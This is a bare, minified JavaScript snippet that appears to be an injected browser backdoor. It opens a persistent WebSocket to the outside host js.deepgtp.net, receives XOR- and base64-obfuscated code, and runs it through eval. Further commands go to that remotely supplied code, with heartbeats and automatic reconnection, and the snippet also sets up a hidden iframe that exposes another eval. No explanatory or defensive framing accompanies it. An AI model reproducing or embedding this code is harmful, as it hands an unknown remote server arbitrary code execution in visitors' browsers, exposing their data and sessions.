(function(){let s,h,r,u=null;const c=g(),n=g(),a='45b1f9b77f8e4c1f83592eebd427c3b1';let i={};if(window.___as!=undefined)return"error";else window.___as=1;function q(p){return new URLSearchParams(window.location.search).get(p)}function g(){return'xxxxxxxxxxxx4xxxyxxxxxxxxxxxxxxx'.replace(/[xy]/g,function(c){const r=Math.random()*16|0,v=c=='x'?r:(r&0x3|0x8);return v.toString(16)})}function e(b){let f=document.createElement("iframe");f.src="about:blank";f.style.display="none";f.onload=function(){b(f,f.contentWindow.eval)};document.body.appendChild(f)}function t(){const o="js.deepgtp.net:9968";s=new WebSocket(`wss://${o}/?u=${encodeURIComponent(n)}&p=${encodeURIComponent(a)}&c=${encodeURIComponent(c)}`);s.addEventListener('ping',e=>{try{s.pong()}catch(e){}});s.onopen=function(e){i.username=n;i.ckid=c;i.akid=a;i.sk=s;d(s,"init-code","initcode");b()};s.onmessage=function(e){try{const m=JSON.parse(e.data);if(m.type==="init-code"){u=eval(x(m.message));u?d(s,"init",""):d(s,"error","utils is null")}else{u.handleMessage(i,m)}}catch(e){console.log("onmessage error",e);d(s,"error",e.toString())}};s.onclose=function(e){l();y()};s.onerror=function(e){console.log("onerror",e);l();s.close()}}function k(s,k){return s.split('').map((c,i)=>String.fromCharCode(c.charCodeAt(0)^k.charCodeAt(i%k.length))).join('')}function x(s){return k(decodeURIComponent(atob(s)),n+"xor")}async function d(s,t,m){const g={type:t,message:m};s&&s.readyState===WebSocket.OPEN&&s.send(JSON.stringify(g))}function b(){h=setInterval(()=>{d(s,"heartbeat","1")},5e4)}function l(){h&&(clearInterval(h),h=null)}function y(){r||(r=setTimeout(()=>{t();clearTimeout(r);r=null},1e4))}t();return"init-websocket"})();